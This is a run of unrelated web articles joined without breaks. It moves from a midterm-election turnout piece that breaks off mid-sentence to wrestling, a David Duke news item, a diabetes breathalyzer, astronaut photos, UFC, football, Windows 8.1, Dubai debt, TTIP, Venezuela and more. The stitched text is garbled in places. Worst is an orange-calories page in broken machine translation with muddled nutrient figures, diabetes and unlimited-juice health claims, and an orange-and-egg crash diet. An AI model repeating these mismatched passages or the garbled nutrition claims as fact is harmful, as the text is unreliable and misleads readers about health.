The Republican National Committee, after concluding that the Obama campaign was miles ahead of the GOP, has worked to close the technological gap and will lead the party’s turnout efforts. The RNC will spend at least $56 million on its overall efforts (including the cost of upgrading technology), according to communications director Sean Spicer.
Mechanics alone will not cure the disease the president talked about. But in close elections, they can mean the difference between victory and defeat. Rep. Steve Israel (D-N.Y.), who chairs the Democratic Congressional Campaign Committee, acknowledged that in this midterm election, Democrats face an “indisputably difficult” environment.
“Our job is not to worry about the climate,” he said. “It’s to build out campaigns that can succeed in whatever climate we inherit.”
On the ground in N.C.
Preston Elliott was part of the team that helped Sen. Tim Johnson (D-S.D.) win reelection in 2002 by just 524 votes. In 2006, he served as field director for Sen. Jon Tester (D-Mont.), who won by 3,000 votes. Elliott was parked in Nevada in 2010, helping Senate Majority Leader Harry M. Reid (D) survive an all-out assault by Republicans.
These days, the bearded and balding Montana native works out of an office park in Greensboro, N.C., as the reelection campaign manager for Hagan. He said he was attracted to the challenge because it could determine whether Democrats hold the Senate.
“You want a race,” he said. “Even two years out, you could tell this was going to be a tough race in an off year.”
The president won North Carolina by just 14,000 votes in 2008, when Hagan ran 100,000 votes ahead of Obama. Mitt Romney beat Obama in 2012 by 92,000 votes, despite a massive Democratic effort that included holding the party’s national convention in Charlotte.
The state is now badly divided politically. Ferrel Guillory, a professor of journalism at the University of North Carolina, recently described his state as having a purple electorate and a red-state government — one that has moved sharply to the right since Republican Gov. Pat McCrory was elected in 2012.
Hagan is running this time without the benefit of Obama’s campaign but with the foundation he left behind. Her path to reelection will depend on her ability to do better among white voters than Obama — Romney won 68 percent of North Carolina whites in 2012 — and to try to keep the African American share of the electorate — exit polls say 23 percent, the Census Bureau says 26 percent — as close to 2012 levels as possible.
She must also capitalize on the split between longtime residents, who are solidly Republican, and recent arrivals. About 60 percent of those who had migrated to North Carolina in the previous decade backed Obama in 2012, Guillory said.
Hagan plans to run against the Republican-led legislature, which has supported several conservative pieces of legislation that sparked protests. The legislature’s actions will play an even more prominent role in the campaign if her GOP challenger turns out to be Thom Tillis, the speaker of the state House, who leads a crowded Republican primary field.
Hagan’s campaign is trying to build the capacity it will need later to identify, register, motivate and turn out supporters. The campaign is hiring and training the first of its field organizers, who will begin to recruit volunteers, who will in turn carry out voter registration efforts and do much of the door-to-door contact with targeted voters.
Meanwhile, Americans for Prosperity, funded by Charles and David Koch, has spent more than $6 million on ads attacking Hagan. Some Democrats worry that the DSCC is taking a huge risk by spending so much on its ground game while holding back money for television commercials.
“The problem, frankly, is how long they can leave these [candidates] out there getting pounded,” said one Democratic strategist, who declined to be identified to question the DSCC strategy.
The voters
Domonique Anderson is 23, works full time and is enrolled in a medical assisting curriculum at a technical college in Raleigh, N.C. She voted for the first time in 2008, and she voted again in 2012, both times for Obama. Asked if she cast a ballot in the midterm election of 2010, she said, “I’m pretty sure I didn’t.”
Her first vote was in Texas, where she was living as a high school student. Her grandparents were swept up in the historic nature of Obama’s campaign. “To go from [segregation] and think about voting for someone who was African American was just astonishing for them,” Anderson said by telephone.
She later moved to North Carolina and in 2012 cast her second vote for Obama. She was turned off by Mitt Romney’s comment about the 47 percent of Americans who he said expect government to take care of them. “I was offended by that,” she said. “I’m busting my butt out there.”
Anderson said she is often up at 3 a.m. to get to her job. After work there is school. When her grades slipped a bit — she said she was bothered when she began to get B’s instead of A’s — she quit a second job.
Anderson is aware of the upcoming Senate election and has heard some of the negative attack ads aimed at Hagan, but her busy life leaves little room for politics.
Carly Devries, also 23, lives in Michigan. A recent college graduate, she works for a state environmental agency. Like Anderson, she has only voted in presidential elections. What would motivate her to vote in November? “If there is some major issue or something... that would directly affect me or that I was really passionate about,” she said.
Devries considers herself a Democrat because she thinks some Republicans have views that “make me angry and are irrational and don’t follow my belief set.” But she likes Republican Gov. Rick Snyder, who is running for reelection this fall. “He doesn’t really have those kinds of extreme views,” she said.
Devries said she could vote for Snyder. But she was noncommittal about how — or whether — she would vote in an open Senate race. “I do care about issues that affect me personally, things I’m more passionate about,” she said, adding, “I don’t really get too involved.”
Stephon Anderson, who is not related to Domonique Anderson, also fits the profile of the voter who keeps Democratic strategists on edge. A North Carolinian, he is 22 and drives a forklift. When he voted for the first time in 2012, he said, he was not fully aware of the races beyond the presidential contest.
Asked how much he followed politics, he said in a telephone interview, “I can if I choose to, but I really don’t pay too much attention. You go on with things that are more important to you. I don’t see the effect on my life. I know overall it affects our country. But politics is kind of at the back of the list [after] bills, work schedule, what your kid needs.”
He is paying minimal attention now to the Senate race and wonders whether it’s even worth voting. “At the end of the day, it seems kind of like your vote doesn’t count,” he said.
Democrats must also win the battle for voters who split their tickets.
Nancy DeWitt, 64, lives in Baton Rouge and is a retired state worker. She said she votes in every election. She’s registered as a Democrat, but she voted twice against Obama, whom she doesn’t trust.
But she likes Landrieu. “She has always been accessible to the people here and has never walked away from any issues that we thought were important — and by we, I mean the people of Louisiana.” Still, she doesn’t particularly like Obamacare and knows that Landrieu has been a supporter of the law.
Landrieu’s ability to keep her distance from the president will be crucial in determining the outcome of the race there. At this point, DeWitt gives Landrieu the benefit of the doubt, noting that the senator had confronted the administration over aspects of the health-care law. “I think she’s doing what she was elected to do, which is to listen to the people who voted for her,” DeWitt said.
Laying the foundation
The groundwork for the Democrats’ get-out-the-vote operation began in earnest months ago in the offices of Civis Analytics, in a seventh-floor loft of an old office building in Chicago’s Greektown and in a town |
at being a dick. She found a corner of the wrestling marker that amazing has never been touched in the British wrestling scene, a bitchy fashionista who wrestles in the finest designer gear and thinks everyone else is scum. She is a great wrestler, great on the mic and is sublime at getting heat. There’s only one other person that got near the same level of hatred that she is currently getting, and that was the man that trained her in Jimmy Havoc. She is the first female wrestler I’ve seen since Trish Stratus that gets the level of heat she does. People pay to see her get beaten up. I love her to bits, but I cannot wait for Laura Di Matteo to batter her. She is going to be huge, I mean WWE huge. Remember the name, as you will hear all about it by years end.
Alongside them, we have Toni Storm, an Australian wrestler who is a tremendous athlete and wrestles all over the world. She pops into PROGRESS when she is in the country and kills it every chance she gets. The four way match she had with PollyAnna, Jinny and Dahlia Black is a sublime example of this.
With the recent announcement that the next Natural Progression Tournament will crowd the first PROGRESS Womens Champion, I cannot wait to see this pan out. We have five pillars to build the division on, with a training school churning out younger stars to build the future on, and the potential to bring in some other talent (I want Nixon Newell in this tournament so bad it hurts) the future looks incredibly bright for female wrestling in this country. The women have already main evented an ENDVR show, I will bet anyone that by this time next year, a womens title match will main event a PROGRESS show.
You want to see true progress in the world of womens wrestling? You go to PROGRESS.
True PROGRESS: The British Women’s Revolution
CommentFormer Grand Wizard of the Knights of the Ku Klux Klan David Duke.
President Donald Trump is now so unpopular, even former KKK leaders are mad at him.
As reported by Huffington Post, former Klan leader David Duke took to social media to condemn Trump for finally naming the KKK and neo-Nazis as the perpetrators of violence at Saturday’s “Unite the Right” rally in Charlottesville, Virginia.
He first went on Twitter to berate the president who, just days before, he said inspired the “Unite the Right” rally.
It’s amazing to see how the media is able to bully the President of the United States into going along with their FAKE NEWS narrative. https://t.co/xFkpEo0Dqm — David Duke (@DrDavidDuke) August 14, 2017
Duke then moved over to Periscope, where he posted a slur-laden video claiming that white nationalists are not violent and that it’s “just ridiculous” that Trump felt compelled to make Monday’s statement.
“President Trump, please, for God’s sake, don’t feel like you need to say these things,” Duke said on Periscope. “It’s not going to do you any good.”
On Saturday, HuffPost noted, Duke appeared to warn Trump against condemning white nationalists in the wake of the attack that killed one and injured dozens.Breathalyzers to detect alcohol intoxication have existed for years, as the relationship between blood-alcohol content and alcohol in the breath is well understood. The same principles may soon be applied to diabetes screening. A team of researchers from Oxford University have succeeded in building a device that can flag patients as diabetic without the need for a blood test.
Right now, the only way to determine if someone is diabetic is to take some blood and check the levels of sugar through various methods. However, diabetes, the inability for the body to process sugar, comes with a number of metabolic quirks that can make it detectable in other ways.
The device developed at Oxford is looking for acetone in the patient’s breath. You probably know that as a volatile solvent, and it is. But it’s also produced as a consequence of regular human metabolism. Because diabetes sufferers are lacking in insulin, that throws much of their metabolism out of whack.
The condition that’s actually being tested for here is ketoacidosis, which is a condition associated with high concentration in the body of molecules called ketones — acetone, of course, is a ketone. In diabetic ketoacidosis, the lack of insulin means you can’t absorb glucose in the blood stream. This causes a cascade of metabolic failures that ends in a high concentration of ketones like acetoacetic acid in the blood. The acetoacetic acid in the bloodstream breaks down into acetone and carbon dioxide, and can be transferred to your breath via the lungs, just like alcohol in the bloodstream. That’s why someone with uncontrolled diabetes can sometimes have “fruity-smelling” breath.
The prototype breathalyzer from Oxford takes a sample of the patient’s breath and releases it into an optical cavity. A near-infrared laser is used to calculate the concentration of acetone in the person’s breath. If it’s beyond a certain level, that’s a strong indication of diabetes. In lab tests on human test subjects, the scanner was able to match the results obtained using much more expensive and time-consuming mass spectrometry.
The scanner is considerably smaller (see above) and cheaper than a mass spec instrument. With additional testing, researchers hope this simple test could help catch diabetes earlier. Diabetics would still need to track their blood glucose levels with an old-fashioned finger prick, but a separate team at Cambridge is working on a breathalyzer test for that too. Rather than tracking acetone in the breath, it watches for a molecule called isoprene.To find out how many calories are in orange, the original should be a little familiar with its history. Orange translated from German means “Chinese apple».
product calorie proteins fats carbohydrates orange 36 kcal 0,9 g 0,2 g 8,1 g orange juice 36 kcal 0,9 g 0,2 g 8,1 g
It belongs to the family of citrus fruits. This is one of the most ancient plants, the fruits of which are used for food and for medicinal purposes. It is believed that an orange was the first fruits, which entered the human diet.
For the first time it does not mention citrus in China and in Egypt. And in Europe, the Portuguese brought the fruit. And since then in our country we started the research calories in oranges, their medicinal properties and other characteristics.
From ancient times the Egyptian healers orange ascribed many healing properties. Therefore, it is used to fight many ailments.
calories in orange depends on its composition. It includes a variety of minerals, macronutrients, vitamins, proteins, fats, carbohydrates. Also orange contains cellulose, pectin, ash and organic acids.
Usually, the fruit of an orange eaten fresh. Also from them prepare jams, jellies and candied fruit. In addition, they are flavored drinks and confectionary. And on the orange peel insist wines and liquors.
The properties of the fruit
The properties and caloric Orange improves appetite and proper digestion. It is also beneficial for strengthening the immune function of the body.
Orange are recommended for the prevention and treatment of vitamin deficiency and chronic fatigue of the body. This fruit is very useful in diabetes.
Orange juice is considered a dietary caloric and is only 36 kcal. This rate is slightly higher than the calorie content of fruit. Since extrusion 100 grams juice is used not one orange and a few.
Orange juice has anti-microbial and anti-inflammatory effect, because it contains volatile. It also has healing properties in the healing of wounds and abscesses.
It is known that in the fruit of an orange contains large amounts of vitamin C, A, B1 and B2. And, after eating only 150 grams of fresh oranges, one can restore the daily rate of the above vitamins. A calories in orange thus be at a low level.
Orange juice allows to strengthen the walls of blood vessels. It is an essential preventive measure of acute respiratory diseases.
As for the calories in orange juice is considered to be the lowest, it can be taken without any restrictions. But it is better to use it after a meal, so as not to disturb the proper digestion.
Orange juice lowers blood pressure, improves and activates the human brain. Also a beneficial effect on blood composition, cellular metabolism, and increase immunity. Fruit juice orange fatigue and tones the entire human body.
How many calories in orange?
Calorie 1 orange is not calculated. To determine the energy value (the amount of energy that is released into the body during digestion) the weight of the fruit used.
Calorie measured in kilocalories or kilojoules per 100 grams of fruit. Sometimes called kilocalories of food calories. In this case prefix kilo lowered.
Calorie 1 orange can be calculated from the diameter or weight. For example, fruit diameter 6.5 cm weighs 100 grams. That is its energy value is 36 kcal.
This is the number of orange contains trace elements such as magnesium (13 mg), potassium (197 mg) and phosphorus (23 milligrams) and chlorine (3 milligrams). 100 grams of zinc in the fetal contained 0.2 milligram and iron – 0.3 milligram. Iodine is 2 milligrams of copper – 67 milligrams. Also contains manganese, fluorine, boron and cobalt.
Along with calories in orange in the body and enter the different vitamins. These include vitamin PP, the quantity of which is 0.2 milligrams, and beta-carotene (0.05 milligrams), vitamin A8, B1, or thiamine, B2 or riboflavin.
In addition, orange rich in vitamins B5, B6, B9 and E, H or biotin. The orange contains the highest amount of vitamin C in one of its fruit level is 60 milligrams.
Also, a calorie of 1 orange in the body come and proteins. In 100 grams of orange the number is 0.9 grams.
It contains carbohydrates in quantity and 8.1 gram, and fats – 0.2 grams. A dietary fiber are at 2.2 grams. The amount of water is 86.6 grams.
150 grams of orange or 1 calorie sht.sostavlyaet 54 kcal. The diameter of this fruit is 7.5 centimeters. Accordingly, the amount of all other nutrients will increase.
Calories orange diets
As a rule, the orange diet not only focus on weight loss, but also on the cleansing of the body. They help eliminate toxins and improve the body’s resistance to various bacterial pathogens.
It is known that 100 grams of orange or 1 calorie items. is approximately 36 kcal. So many diet recipes are based on the use of these citrus fruits. In addition to its low calorie content, they are considered to be very useful.
There are many recipes for diets that are designed for low calorie fruit. But they are all painted by weeks or days. For example, one of the recipes for the diet is designed for the use of one kilogram of oranges. But it must be careful to those people who are allergic to this fruit. Before you start a diet is best to consult a doctor.
calories in oranges should be combined with nutrient-boiled eggs. You also need to drink two liters of mineral water without gas. That is, each day a person should eat one orange, 2 eggs and drink 2 liters of water during the first week of the diet.
Instead of the fruits themselves, many orange diet based on fresh Frechet used as a light lunch. It is believed that he is much better and has a better impact in reducing weight.SAN FRANCISCO (CBS SF) – Don’t bother looking up but Astronaut Scott Kelly aboard the International Space Station just snapped our picture.
“#SanFrancisco. I almost felt like I was with you as we flew overhead a few minutes ago. #YearInSpace”
Kelly is spending a historic year in space on the ISS. He and cosmonaut Mikhail Korniyenko launch March 27, 2015 and will land in Kazakhstan in spring 2016.
Click Related: 11 Of The Best Earth Selfies From Space
See which Bay Area landmarks you can pick out!
#SanFrancisco. I almost felt like I was with you as we flew overhead a few minutes ago. #YearInSpace http://t.co/G00DP8uIJO—
Scott Kelly (@StationCDRKelly) April 27, 2015
Kelley has sent out a few other great images in recent days. Check them out:
I found these interesting waters on the US East Coast. #YearInSpace pic.twitter.com/aBW8o1tEi9 — Scott Kelly (@StationCDRKelly) April 26, 2015
Had first video conference with my youngest daughter today. Showed her the most beautiful place from space. #Bahamas pic.twitter.com/WaekTcmPSb — Scott Kelly (@StationCDRKelly) April 26, 2015
Kelly is spending a year in space to test the effects on his body. His Brother Mark, also an astronaut, has remained here on earth and his health will be monitored for comparison.In the end, Ronda Rousey vs. Miesha Tate 3 wasn't the kind of trilogy the UFC wanted. At least not right now.
UFC president Dana White told the Los Angeles Times on Friday that Holly Holm was chosen as Ronda Rousey's next opponent, because, simply, Rousey has already beaten Tate twice and in dominant fashion. White didn't think the UFC needed to go to the well one more time at this point.
"We were talking about Miesha from the start, then as we started sitting around we were saying, ‘Everyone has seen the Miesha fight already,' " White said. "A third fight in a rivalry usually comes after the stuff we'd see in [Arturo] Gatti-[Micky] Ward. With Miesha, the result has been the same twice. Everyone's already seen that fight."
Rousey will defend her UFC women's bantamweight title against Holm in the main event of UFC 195 on Jan. 2 in Las Vegas, Rousey announced Friday on Good Morning America. Tate's manager Josh Jones told MMAFighting.com's Ariel Helwani that he was "absolutely shocked" and "very disappointed" that Holm was the opponent, because most people expected it to be Tate.
White told the LA Times that he would prefer Tate fight Amanda Nunes next. Nunes is on a two-fight winning streak and is another top contender.
"Theres two sides to the coin," White said.... "I'm not sure losing another fight to Ronda so soon would be good for Miesha. She's not going anywhere. I think she'll be fine."
Holm has won both of her fights in the UFC, the latest a unanimous decision over Marion Reneau last month. Tate has won four straight since losing to Rousey in December 2013, including an impressive unanimous decision victory over Jessica Eye at UFC on FOX 16 on July 25. White himself called the Tate-Eye bout one for the No. 1 contender slot.
Tate fell to Rousey by third-round armbar at UFC 168 in December 2013 and she remains the only opponent to take the champion past the first round. Rousey also defeated Tate to win the Strikeforce title back in 2012 by first-round armbar.
Holm, undefeated like Rousey in MMA at 9-0, is a former three-division boxing champion and Ring Magazine women's boxer of the year in 2005 and 2006. She dispatched Reneau, a ranked fighter, with relative ease last month. In her UFC debut in February, Holm beat Pennington via split decision in an uneven performance.
"Everyone has jitters in their first fight. Holly came back from that and destroyed a woman who'd looked damn good in her previous fights," White said. "When you talk about the possibilities of what Holly can do... she's a world-class boxer... the Holly Holm fight for Ronda is way more intriguing."Everyone is quite aware of the dominant form that Bayern Munich has shown in the Bundesliga after the last year. However, what would it look like in the form of a league table? How many points would they win by? How far would the last six months drop Borussia Dortmund? What about the rise of Wolfsburg and Augsburg?
The following table was created using only teams that played at least 34 teams in 2014. That means teams that were relegated in the spring or promoted in the fall are not included.
That's certainly an interesting looking table. BVB's free fall in the Hinrunde saw them drop out of a Champions League place, while Augsburg's superb start has helped them creep into the fourth position. Wolfsburg's rise into second place isn't as surprising. Neither is Hamburg settling for last.
Champions League Group Stage
Bayern Munich, Wolfsburg, Schalke
Champions League Playoff
Augsburg
Europa League Group Stage
Borussia Dortmund
Europa League Third Round Qualifier
Bayer Leverkusen
Relegation Playoff
Hamburg
What are your thoughts on the 2014 table?Windows 8.1 is finished. But it isn’t. Well technically it is, but Microsoft isn’t done with it just yet. Today, The Verge is reporting that Microsoft is planning to release more updates for Windows 8.1 in-time for the GA in October, which will introduce a number of enhancements and improvements to apps and features already available in the operating system, including new Camera abilities and Search improvements.
The updates are set to arrive either before or on the day of GA, which is October 18 for those who have been living under a rock for the last couple of months. Updates include a new Photo Loop mode which allows users to rewind photos. Sounds weird, but it’s nothing we haven’t seen before. BlackBerry 10 can do something like this already, allowing users to select the best shot from a number of shots taken with one click. The new feature requires new cameras which aren’t available in current hardware. This means the hardware that’s set to launch in October will support the new feature.
Most of the Bing apps will also be updated before GA too, including Bing Search. These updates aren’t very ‘spectacular’, they’ll merely be adding additional functionality to the apps such as more categories for searching and the ability to to check out 100,000 more recipes in the Bing Food app.
As said above, Windows 8.1 is set to hit the shelves on October 18. If you’re running Windows 8, you should receive Windows 8.1 for free on October 17 through the Windows Store. Windows 8.1 includes a number of new features including better Start Screen customization and tighter integration with the Modern UI.
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Further reading: MicrosoftPaul Pogba 'goes mad when he loses', says Florentin Pogba
Paul Pogba is not a good loser, according to his older brother
Paul Pogba has been described as an "irritable" player who "doesn't like to lose", by his older brother Florentin.
The pair come face-to-face at Old Trafford on Thursday when St Etienne meet Manchester United in the first leg of their Europa League last-32 tie.
"He is quite irritable, he doesn't like to lose," Florentin said. "His head starts buzzing when he loses.
"I learned to lose and I would say that you're not losing but learning. But for him, when he loses, he goes mad.
Florentin Pogba faces brother Paul at Old Trafford this week
"But these two games will be emotional and I hope we'll take something positive from them.
"Even if United are a great club, anything is possible in football. The fact they're better than us on paper doesn't matter."
Paul Pogba has scored seven goals in all competitions this season, and has played a key role in a side that has gone 16 games unbeaten in the Premier League.
Florentin says Paul is coping well with being the world's most expensive player, after the 23-year-old rejoined Manchester United in a £93.25m deal from Juventus in the summer.
Paul Pogba has scored seven goals in all competitions for Man Utd this season
"In terms of being the world's most expensive player, I think he has put that to one side because it's more an issue for the media - he is not letting it bother him," added Florentin, who is two years and seven months older than Paul.
"He's just playing his football, even though everything he does gets three or four times more attention, good or bad.
"He can handle all of that because of the mental strength he has had since his youth.
2:21 Highlights from Man Utd's 2-0 win over Watford Highlights from Man Utd's 2-0 win over Watford
"We'll always be behind him. He knows what it's like in our family. Whether he has a good game or a bad game, we'll always be there for him.
"He can win all the trophies in the world, but he'll still be my little brother.
"When we play together on holiday, we're always on the same team. Now I will be playing against him and I'll be marking him.
"It will be weird but that's football. It's something for the whole family to enjoy because I don't know if it will happen again.
"My parents will have mixed feelings because whatever happens, there will be one winner and one loser."Posted November 7, 2016 at 1:01 am
That moment when your inner director wants a cool sequence that would have a lot more clarity if animated in a TV show, but is sort of vague in comic form, and they know deep down that a more flat angle would make what is happening clear and obvious, so they do a sort of weird compromise that does both, and you're not 100% certain if it was the best solution, but you got to do the weird moving angles that you wanted, so you decide it was worth whatever the haters say, but of course you your feelings are not invulnerable, and you also worry they're going to judge you for your run on sentences.
Anyway, yeah, Rhoda just grew taller! Specifically taller, and not simply bigger, which is an important distinction given that her head would be nearly 75% bigger in the latter case.
And, of course, because of how Pandora's going to take this in 3... 2... 1... Pretending this countdown means anything given how reading these comics work...Pokemon Go player discovers dead body: reports
Updated
A woman in the US state of Wyoming has found a dead body floating in a river while playing Pokemon Go, according to local media reports.
The mobile phone game, which has become popular since it was released earlier this week, uses real locations to encourage players to search far and wide in the real world to discover Pokémon, according to its website.
Shayla Wiggins from the town of Riverton said she discovered the body while taking an early morning walk by Wind River to find some Pokémon.
"As I looked one way, I noticed that there was something in the water in front of me," she told BuzzFeed News.
"And so I took a closer look and saw it was a body."
Ms Wiggins is reported to have then called 911 and waited for police to arrive.
In a statement supplied by KCWY News 13, the Fremont County Sheriff's Office said it is investigating the death of the adult male located under the Wyoming Highway 789 Bridge around 8:40am.
"The body was discovered by local resident who was walking in the immediate area," the statement read.
"The death appears to be accidental in nature and possibly that of a drowning. There is no evidence at this time that would indicate foul play.
"Evidence located at the scene has led investigators to believe the man went into the water at the location he was found."
Further details on the circumstances surrounding the death will be released after preliminary autopsy results are received, the statement also read.
Topics: law-crime-and-justice, death, games, community-and-society, united-states
First postedPaul Whitfield and Vipal Monga explain that nothing really has been cleared up at all, and that there are far more -- and far bigger -- uncertainties surrounding the emirate's finances than most of us had suspected. " data-share-img="" data-share="twitter,facebook,linkedin,reddit,google,mail" data-share-count="false">
If you think that the Dubai situation has pretty much been resolved with that cash infusion from Abu Dhabi, think again. Paul Whitfield and Vipal Monga explain that nothing really has been cleared up at all, and that there are far more — and far bigger — uncertainties surrounding the emirate’s finances than most of us had suspected.
For one thing, Dubai has no real legal structure capable of dealing with a default on this level, which has forced it to hurriedly import a jury-rigged system with UK and Singaporean jurists, based on British and American (not Islamic) legal structures.
But it’s not clear how trustworthy the Dubai’s government — its ruling family — really is, given that they actively encouraged the idea that Dubai World had a sovereign guarantee.
And it’s also far from clear what has happened to the $10 billion received from Abu Dhabi in February, or, for that matter, another $5 billion that was lent to Dubai by two Abu Dhabi banks in November. As for the further $10 billion which arrived in December, we know that $4.1 billion of it was used to repay Dubai World’s sukuk. But the final destination of the remainder of the money is also opaque.
What’s more, no one has much of a handle on the total liabilities involved, either:
Dubai World has officially released a $59.3 billion debt figure as of the end of 2008, but that number isn’t taken at face value by financial experts. Deutsche Bank AG, for example, says that the figure included more than just financial debt, including equity, and payments due to suppliers. Discounting the nonfinancial debt led the German bank to estimate Dubai World’s financial external debt at $24.27 billion. Morgan Stanley has its own estimate of the liabilities, taking a disclosed $26.2 billion number from Dubai and then adding another 30% to that to account for a presumed undisclosed amount, putting Dubai World’s debt at a seemingly arbitrary $34.1 billion.
The upshot is that the restructuring is going to be messy and unpredictable: my guess is that it’ll be a highly political process which will drag on for years. As ever, the big winners are certain to be the lawyers.Save the Furry Ones charity group banned from'soliciting funds' due to links with online casinos
Posted
A South Australian animal charity has lost its licence over allegations that funds it raised were associated with online casinos.
Liquor and Gambling Commissioner Dino Soulio has revoked the licence of Help Save the Furry Ones (HSFO), which its website describes as a non-profit, volunteer-driven cat shelter.
He said Consumer and Business Services (CBS) received information alleging some of the funds raised by HSFO were being transferred to a company associated with online casinos.
Mr Soulio said investigations also indicated that other accounts associated with the charity had not been audited, which is a requirement under the Collection for Charitable Purposes Act.
"The allegations have been put to the licence holder but she has failed to respond to any contact from CBS," he said.
"In this case, I have made a determination that the funds being raised for a charitable purpose were being mismanaged or misapplied, and the licence was revoked."
The ABC has tried contacting the organisation.
Its website said it gave cats veterinary care and kept them at its shelter for as long as it took to "find them a loving home".
"We do not receive any government funding, running purely on donations and unpaid volunteers, yet in the short time we have been operating, we have managed to find happy homes and svae the lives of hundreds of cats that have come through our doors," the website said.
Mr Soulio said the operator of HSFO was no longer allowed to solicit funds.
"I would warn South Australians not to donate to this organisation," he said.
Topics: charities, community-and-society, adelaide-5000, saThe EU hit back at Greenpeace on Monday (2 May) for promoting “misconceptions” after it leaked documents about the Transatlantic Trade and Investment Partnership (TTIP) showing that the US is pressuring Brussels to roll back health and environmental standards.
In a blog post published this morning, Trade Commissioner Cecilia Malmström insisted that the TTIP paper published by Greenpeace reflected the negotiating positions, “nothing else”.
Consolidated texts and negotiating positions
“Contrary to what many seem to believe, so-called “consolidated texts” in a trade negotiation are not the same thing as an outcome,” she wrote in the blog.
“Many of today’s alarmist headlines are a storm in a teacup,” the Commissioner added.
EU and US negotiators met last week in New York, and the leaks reflect the situation prior to the start of the 13th round of talks.
“It begs to be said, again and again: no EU trade agreement will ever lower our level of protection of consumers, or food safety, or of the environment,” Malmström emphasised in the blog. “I am simply not in the business of lowering standards.”
The US and the EU have been trying to reach a deal on the world’s largest trade agreement since 2013.
TTIP is billed as a free-trade and investment deal for the 21st century, focused on harmonising regulations, lowering barriers on investment, opening access to government contracts, and addressing new areas like data trade and consumer protection.
But it is facing rising resistance and protectionist sentiment, as critics question the benefits of more open trade.
Greenpeace to publish 248 pages of TTIP leaks Greenpeace said yesterday (1 May) it was in possession of leaked documents showing that a planned huge free trade deal between the United States and the European Union poses “major risks for climate, environment and consumer safety”.
Greenpeace said the papers reveal “major risks for climate, environment and consumer safety”.
“There are areas in the TTIP negotiations where we have come a long way, but in others we are simply not in agreement,” Malmström added.
“In areas where we are too far apart in a negotiation, we simply will not agree,” she said.
Still, green groups are alarmed by Washington’s push to replace the EU’s precautionary principle for potentially for potentially harmful products, which apply to GMOs and chemicals, for example.
The precautionary principle forces businesses to prove the absence of risk to the ecosystem and the food chain in manufacturing a product.
Speaking to the press today, Ignacio Garcia Bercero reiterated once more that ‘the precautionary principle´´ will not be weakened, and neither is the right to regulate.
Responding to Malmström blog post, Greenpeace EU director Jorgo Riss said Commissioner Malmström is being ‘disingenuous.’
“The leaked consolidated documents make no mention of the EU’s precautionary principle, which provides a higher level of environmental and consumer protection. The mention of the precautionary principle that Malmström refers to is contained in an EU position paper that is not part of the leaked consolidated chapters,” stressed Riss.
No TTIP-light?
The publication of a large part of the TTIP negotiations hasn’t fundamentally moved the French position. For months, Paris has said the trade agreement would be rejected if the conclusion were not in line with the country’s needs.
On Sunday (1 May), President François Hollande warned again that France would reject the pact if it endangered the country’s agricultural sector. France “will say no to any conclusion which would put our agriculture in difficulty”, he stressed.
Alongside agriculture, Hollande has mentioned environment and public procurement as sensitive topics being monitored very closely by France.
“We cannot sign a world agreement, a COP21, and have a commercial negotiation which would not respect the environmental principles,” he said.
The TTIP leaks highlight the gaps between international commitment on climate and the intended measures, industry-oriented.
“We observe that there is not the same will on American side as there is in European side,” regretted a French diplomat, speaking to EURACTIV France after the leaks were published.
The leaks would be an opportunity for TTIP negotiations to gain transparency in the future.
France’s Minister of State for Foreign Trade, Matthias Fekl, has fought for more transparency in the TTIP negotiations and asked, during a hearing in the French Senate (8 March), that “all the data related to commercial negotiations should be open data”.
The option of a ‘TTIP-light’, which would focus only on consensual areas, isn’t a solution, according to France.
“A lite TTIP would be built on the back of France’s interest,” explained a diplomat in Paris. “So the ‘light’ TTIP proposal, it’s no.”A popular Venezuelan opposition leader is able to run for president but will not be allowed to take power if elected, thanks to a decision made by the country’s Supreme Court. The move disregards an international court ruling and could help President Hugo Chávez split an already fragmented opposition before next year’s vote.
Leopoldo López has been fighting the government’s decision to ban him from public office for three years, having taken his case to the Inter-American Court for Human Rights in February. The Costa Rica-based court ruled in his favor a month ago. However, Venezuela’s Supreme Court has defied the decision, insisting that Mr. López is free to run but not free to take any public office should he win.
However, he remains rebellious. “I am a candidate,” López told the Monitor. “I will run and I will win the primaries.”
López has already fought long and hard for what may ultimately be a Pyrrhic victory for the opposition. His defiance will worry many opposed to Mr. Chávez who were looking forward to the selection of Henrique Capriles Radonski – a state governor who appears to be Chávez’s first real competition during 12 years in power – in February’s primaries ready for elections less than a year away.
López insists that his decision to run will not jeopardize opposition unity. “This is a decision in the hands of the people,” López said, dodging suggestions that by continuing his campaign, he will add to the opposition’s notorious lack of unity and organization.
The news has forced a risky situation for López's supporters, according to Luis Vicente Leon, a local political analyst and president of polling firm Datanalisis. “This is absolutely stupid,” he said. “The people may favor López but they have to avoid any risk [of his being ineligible for office] so they will not want to vote for him in the primaries.”
López suffers from allegations of corruption, though he has never faced trial, which has led some to suspect that the disqualification is politically motivated. The charges stem from the late 1990s when López’s mother was in charge of state oil firm Petróleos de Venezuela’s public affairs office. Part of her job was to authorize donations to charities and civic groups. One grant went to Primero Justicia (Justice First), a judicial reform advocacy group and political movement to which her son belonged.
López was mayor of Chacao, a wealthy Caracas neighborhood for two terms beginning in 2000. As his tenure came to an end in 2008, López looked set to win the mayoralty of Caracas with a 65 percent lead in the polls. But the Venezuelan government declared him “inhabilitado” – ineligible for public office – along with 300 other Venezuelan politicians.
The presidential race has been ramped up by rumors of the president’s ill health. Despite chemotherapy and repeated rumors that Chávez is much worse than is being made out, he continues playing up his indefatigable public persona by calling up state television, tweeting regularly, and theatrically parading in front of the press at every opportunity.
The presidential election is set for Oct. 7, 2012.This cuts to the heart of the CEO pay discussion, so thanks for raising it. The argument made by this overpaid bunch always centers around the unfounded concept of “high risk/high reward” but there never is any risk at the top. It’s only about reward, with the risk being doled out in heavy doses to everyone else. In the case of GM, outside of this boot licker, nobody in America sees current GM CEO Richard Wagoner, Jr. as the person to lead the company out of this mess. If CEO’s such as Wagoner are going to ask for the big bucks, either put up or shut up.
General Motors vice chairman and auto industry veteran Robert Lutz says saving America’s auto industry must be a joint effort, and he thinks GM chief executive Richard Wagoner, Jr., should not be made a “sacrificial lamb” in the process. Lutz was responding to weekend calls, notably from Sen. Christopher Dodd, for Wagoner to resign. Dodd said management changes have to be part of conditions for a bailout to help the companies restructure. Dodd is chairman of the Senate’s Banking Committee and a key architect of the bailout legislation being crafted in Congress. During a Sunday appearance on CBS’s “Face the Nation” he suggested that GM and Chrysler should probably merge.OMAHA, Nebraska (Reuters) - Warren Buffett’s Berkshire Hathaway more than doubled its profit in the first quarter, as the conglomerate’s insurance business was spared from the devastating natural disaster losses that hit the company a year earlier.
